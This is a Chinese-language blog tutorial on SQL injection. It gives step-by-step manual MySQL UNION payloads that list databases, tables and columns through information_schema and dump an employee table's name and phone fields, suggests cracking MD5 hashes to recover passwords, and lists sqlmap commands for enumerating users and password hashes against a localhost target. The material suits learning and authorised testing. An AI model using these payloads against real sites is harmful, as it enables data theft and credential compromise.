[實戰]使用SQLmap進行SQL注入
阿新 • • 發佈:2018-11-09
一、什麼是SQLmap? SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、訪問底層檔案系統、執行命令)。 備註:SQLmap是python程式碼 二、SQL注入
自行百度
三、SQLmap安裝 可以點選 https://github.com/sqlmapproject/sqlmap/tarball/master 下載最新版本sqlmap 也可以使用git來獲取sqlmap git clone https://github.com/sqlmapproject/sqlmap.git四、SQLmap命令 SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、列舉等。
五 、sql注入後我們可以做什麼? 列舉MYSQL使用者名稱與密碼、列舉所有資料庫、列舉指定資料庫的資料表、列舉指定資料表中的所有使用者名稱與密碼等等 ....
六、 人為簡單
第三步: 破解查詢列數 方法1: ' union select 1,2,3 from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1 方法2: order by 1 (這種方式我還沒有搞明白)
第四步:爆出當前資料庫的基本資訊 1. 獲取資料庫名: ' union select 1,2,database() from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1 配合使用函式: concat(user(),0x20,database(),0x20,version())
第五步:爆出所有的資料庫名 知識準備: information_schema資料庫中存在columns表 information_schema資料庫是在MYSQL的版本5.0之後產生的,一個虛擬資料庫,物理上並不存在。information_schema資料庫類似與“資料字典”,提供了訪問資料庫元資料的方式,即資料的資料。比如資料庫名或表名,列型別,訪問許可權(更加細化的訪問方式)。information_schema是一個由資料庫的元資料組成的資料庫。裡面儲存的是MYSQL的資料庫基本資訊。並隨時改變。用於檢視資訊以及系統決策時作為重要的資訊提供者。 MYSQL的版本5.0以上版本,我們藉助information_schema資料庫,來獲取其他資料庫的資訊。用到了group_concat()函式,distinct引數起到了去掉重複顯示的作用。 SQL : ' union select 1,2,group_concat(distinct table_schema) from information_schema.columns as a where '1'='1
第六步:爆出當前的資料庫表名(表名出現後可以根據表名進行猜想) ' union select 1,2,group_concat(distinct table_name) from information_schema.columns as a where table_schema= database() and '1'='1
第七步: 爆出當前資料庫中某個表的列名及值 1. 使用mysql hex() 函式進行16制轉換,然後在前面加上0x即為表名.我在測試時必須使用0x 2. 獲取表列名SQL: 1' union select 1,2,group_concat(distinct column_name) from information_schema.columns as a where table_name= 0x74656D706C6F796565 and '1'='1 3. 獲取表值SQL: 1' union select fcode,fname,fmobile from temployee where '1'='1 說明:如果查出的值判斷有md5加密可以直接進行md5解密獲取使用者名稱密碼
七、SQLmap概述 當給sqlmap這麼一個url的時候,它會: 1、判斷可注入的引數 2、判斷可以用那種SQL注入技術來注入 3、識別出哪種資料庫 4、根據使用者選擇,讀取哪些資料 sqlmap支援五種不同的注入模式: 1、基於布林的盲注,即可以根據返回頁面判斷條件真假的注入。 2、基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。 3、基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。 4、聯合查詢注入,可以使用union的情況下的注入。 5、堆查詢注入,可以同時執行多條語句的執行時的注入。 sqlmap支援的資料庫有: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
八、使用SQLmap常用命令 SQLmap常用命令,執行SQLmap後會在使用者當前目錄下生成.sqlmap資料,存放掃描記錄 --u : 指定目標URL 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --b : 獲取DBMS banner --dbms : 指定資料庫型別 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" --dbs --current-db : 獲取當前資料庫 --current-user:獲取當前使用者 --dbs:獲取所有資料庫 --users : 列舉DBMS使用者 --password : 列舉DBMS使用者密碼hash --D : 要列舉的DBMS資料庫 例如:python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables : 列舉DBMS資料庫中的資料表 例如: python sqlmap.py -u " http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables 如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取資料的,可以使用-v引數。 共有七個等級,預設為1: 0、只顯示python錯誤以及嚴重的資訊。 1、同時顯示基本資訊和警告資訊。(預設) 2、同時顯示debug資訊。 3、同時顯示注入的payload。 4、同時顯示HTTP請求。 5、同時顯示HTTP響應頭。 6、同時顯示HTTP響應頁面。 如果你想看到sqlmap傳送的測試payload最好的等級就是3。 sql注入相關資料 1.常用的MySQL內建函式 DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() 2. 利用mysql 支援16進位制 http://blog.chinaunix.net/uid-120401-id-2963244.html 注入查詢條件轉為16進位制 3. 參考: http://www.111cn.net/database/mysql/53674.htm http://www.111cn.net/database/mysql/75080.htm http://www.111cn.net/database/mysql/114336.htm http://www.111cn.net/database/mysql/94037.htm http://www.111cn.net/database/mysql/116795.htm http://www.111cn.net/database/mysql/58518.htm http://unconciousmind.blogspot.com/search/label/sqlmap